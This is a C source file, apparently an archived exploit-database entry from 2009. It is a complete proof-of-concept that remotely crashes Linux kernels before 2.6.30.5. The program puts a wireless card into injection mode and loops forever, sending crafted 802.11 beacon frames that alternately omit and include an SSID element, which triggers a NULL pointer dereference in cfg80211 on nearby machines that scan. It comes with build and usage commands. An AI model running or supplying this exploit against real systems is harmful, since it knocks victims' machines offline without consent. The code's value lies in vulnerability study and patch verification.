/*
 * cfg80211-remote-dos.c
 *
 * Linux Kernel < 2.6.30.5 cfg80211 Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://patchwork.kernel.org/patch/41218/
 *
 *   These pointers can be NULL, the is_mesh() case isn't ever hit in the 
 *   current kernel, but cmp_ies() can be hit under certain conditions.
 *
 * Usage:
 *
 *   $ gcc cfg80211-remote-dos.c -o cfg80211-remote-dos -lorcon
 *   $ airmon-ng start wlan0
 *   ...
 *   $ ./cfg80211-remote-dos mon0 mac80211
 *   [+] Initializing interface mon0...
 *   [+] Injecting crafted DoS beacon frames...
 *
 * Notes:
 *
 *   The NULL pointer dereference is triggered if the victim scans and receives
 *   a beacon frame that does not contain a SSID IE and then receives another 
 *   one that does have a SSID IE.  Raw frame injection via LORCON is required 
 *   on the wireless interface.  This should only affect the 2.6.30 series.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>

#include <tx80211.h>
#include <tx80211_packet.h>

#define BEACON_NOSSID \
	"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff" \
	"\x00\x03\x52\x00\x00\x00" \
	"\x00\x03\x52\x00\x00\x00" \
	"\x30\x4b" \
	"\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04" \
	"\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24" \
	"\x03\x01\x07" \
	"\x05\x04\x00\x01\x01\x00" \
	"\x2a\x01\x04" \
	"\x32\x04\x30\x48\x60\x6c"
#define BEACON_NOSSID_LEN 64

#define BEACON_SSID \
	"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff" \
	"\x00\x03\x52\x00\x00\x00" \
	"\x00\x03\x52\x00\x00\x00" \
	"\x30\x4b" \
	"\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04" \
	"\x00\x03\x44\x6f\x53" \
	"\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24" \
	"\x03\x01\x07" \
	"\x05\x04\x00\x01\x01\x00" \
	"\x2a\x01\x04" \
	"\x32\x04\x30\x48\x60\x6c"
#define BEACON_SSID_LEN 69

void
usage(char **argv)
{
	int i;
	struct tx80211_cardlist *cardlist;

	printf("Usage: %s [interface] [drivername]\n", argv[0]);

	cardlist = tx80211_getcardlist();

	if (cardlist == NULL) {
		printf("Error accessing supported cardlist.\n");
	} else {
		printf("\nSupported drivers are: ");
		for (i = 1; i < cardlist->num_cards; i++) {
			printf("%s ", cardlist->cardnames[i]);
		}
		printf("\n");
	}
	tx80211_freecardlist(cardlist);
}

int
main(int argc, char **argv)
{
	struct tx80211 tx;
	struct tx80211_packet pkt;
	char p1[BEACON_NOSSID_LEN];
	char p2[BEACON_SSID_LEN];
	int ret, drivertype;
	uint8_t randbyte;

	if (argc < 3) {
		usage(argv);
		return 0;
	}

	printf("[+] Initializing interface %s...\n", argv[1]);

	drivertype = tx80211_resolvecard(argv[2]);
	if (drivertype == INJ_NODRIVER) {
		printf("[-] Driver name not recognized.\n");
		exit(1);
	}

	ret = tx80211_init(&tx, argv[1], drivertype);
	if (ret < 0) {
		printf("[-] Error initializing %s/%s", argv[1], argv[2]);
		exit(1);
	}

	ret = tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON);
	if (ret != 0) {
		printf("[-] Error setting monitor mode.\n");
		printf("[-] %s.\n", tx80211_geterrstr(&tx));
		exit(1);
	}

	ret = tx80211_setchannel(&tx, 11);
	if (ret < 0) {
		printf("[-] Error setting channel.\n");
		printf("[-] %s.\n", tx80211_geterrstr(&tx));
		exit(1);
	}

	ret = tx80211_open(&tx);
	if (ret < 0) {
		printf("[-] Unable to open interface %s\n", tx.ifname);
		printf("[-] %s.\n", tx80211_geterrstr(&tx));
		exit(1);
	}

	srand(time(NULL));

	memcpy(p1, BEACON_NOSSID, BEACON_NOSSID_LEN);
	memcpy(p2, BEACON_SSID, BEACON_SSID_LEN);
	
	printf("[+] Injecting crafted DoS beacon frames...\n");

	while (1) {
		randbyte = rand() & 0xff;
		p1[15] = randbyte;
		p1[21] = randbyte;
		p2[15] = randbyte;
		p2[21] = randbyte;

		pkt.packet = p1;
		pkt.plen = BEACON_NOSSID_LEN;
		if (tx80211_txpacket(&tx, &pkt) < 0) {
			printf("[-] Unable to transmit packet.\n");
			printf("[-] %s.\n", tx80211_geterrstr(&tx));
			exit(1);
		}

		pkt.packet = p2;
		pkt.plen = BEACON_SSID_LEN;
		if (tx80211_txpacket(&tx, &pkt) < 0) {
			printf("[-] Unable to transmit packet.\n");
			printf("[-] %s.\n", tx80211_geterrstr(&tx));
			exit(1);
		}
	}

	tx80211_close(&tx);

	return 0;
}

// milw0rm.com [2009-08-18]
